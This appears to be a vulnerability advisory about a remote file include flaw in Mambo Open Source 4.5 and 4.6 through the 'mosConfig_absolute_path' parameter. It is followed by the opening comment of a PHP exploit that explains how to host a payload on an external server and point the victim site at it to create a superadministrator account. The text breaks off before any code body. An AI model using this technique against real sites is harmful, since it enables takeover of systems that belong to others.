It has been reported that Mambo Open Source may be prone to a remote file include vulnerability that may allow an attacker to include malicious external files containing arbitrary PHP code to be executed on a vulnerable system. The issue exists because remote users may reportedly influence the include path for external scripts by supplying their own value for the 'mosConfig_absolute_path' variable in the 'mod_mainmenu.php' script.
Mambo Open Source versions 4.5 and 4.6 have been reported to be prone to this issue, however other versions could be affected as well.
<?php
/*
|| Mambo OS v4.5 y v4.6 xploit
||
|| This script will insert a superadministrator user to the mambo database.
|| Change the variables bellow and upload this script to www.url.com/modules/mod_mainmenu.class.php
|| then go to the victim's url using that url.com like the value in mosConfig_absolute, ex.
||
|| http://www.vicitm.com/modules/mod_mainmenu.php?mosConfig_absolute_path=http://www.url.com
